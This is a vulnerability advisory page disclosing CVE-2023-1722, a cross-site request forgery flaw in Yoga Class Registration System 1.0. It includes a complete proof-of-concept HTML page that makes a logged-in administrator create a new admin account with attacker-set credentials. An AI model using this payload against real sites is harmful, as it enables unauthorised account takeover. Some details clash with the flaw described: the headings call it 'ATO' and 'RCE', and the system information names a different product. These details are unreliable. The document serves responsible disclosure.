

Advisories

Yoga Class Registration System 1.0 - ATO

6,5

Medium

Discovered by

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

Yoga Class Registration System 1.0 - RCE

Code name

Wyckoff

State

Public

Release date

23 jun 2023

Affected product

Yoga Class Registration System

Affected version(s)

Version 1.0

Vulnerability name

Cross-site request forgery

Vulnerability type

007. Cross-site request forgery

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

CVSS v3.1 base score

6.5

Exploit available

Yes

CVE ID(s)

CVE-2023-1722

Description

Yoga Class Registration System Version 1.0 allows an external attacker to elevate privileges in the application. This is possible because the application is not protected against CSRF attacks.

Vulnerability

The application is not protected against CSRF attacks, so an attacker can persuade an administrator to create a new account with administrative permissions, along with the credentials set by the attacker.

Exploitation

To exploit the vulnerability I have written the following exploit:

<!DOCTYPE html>
<html>
 <body>
 <script>
 function submitRequest()
 {
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "http:\/\/retr02332.com\/php-ycrs\/classes\/Users.php?f=save", true);
 xhr.setRequestHeader("Accept", "*\/*");
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
 xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------426135374114296864734166274622");
 xhr.withCredentials = true;
 var body = "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"id\"\r\n" +
 "\r\n" +
 "\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"firstname\"\r\n" +
 "\r\n" +
 "test\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"middlename\"\r\n" +
 "\r\n" +
 "test\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"lastname\"\r\n" +
 "\r\n" +
 "test\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"username\"\r\n" +
 "\r\n" +
 "test\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"password\"\r\n" +
 "\r\n" +
 "test\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"type\"\r\n" +
 "\r\n" +
 "1\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"img\"; filename=\"\"\r\n" +
 "Content-Type: application/octet-stream\r\n" +
 "\r\n" +
 "\r\n" +
 "-----------------------------426135374114296864734166274622--\r\n";
 var aBody = new Uint8Array(body.length);
 for (var i = 0; i < aBody.length; i++)
 aBody[i] = body.charCodeAt(i);
 xhr.send(new Blob([aBody]));
 }
 </script>
 <form action="#">
 <input type="button" value="Submit request" onclick="submitRequest();" />
 </form>
 </body>
</html>

Evidence of exploitation

Our security policy

We have reserved the CVE-2023-1722 to refer to these issues from now on. Disclosure policy

System Information

Version: OrangeScrum 2.0.11
Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Vendor page https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html

Timeline



IA generativa

31 mar 2023



Vendor contacted

31 mar 2023



Vendor replied

31 mar 2023



Public disclosure

13 jun 2023

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Prueba gratis

Contactar a ventas

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Prueba gratis

Contactar a ventas

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Prueba gratis

Contactar a ventas

Solución

Planes

Recursos

Advisories

Compañía

Select Language



Contactar a ventas

Iniciar sesión

Prueba gratis

Select Language



Contactar a ventas

Prueba gratis

Solución

Planes

Recursos

Advisories

Compañía

Select Language



Contactar a ventas

Iniciar sesión

Prueba gratis

Select Language



Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.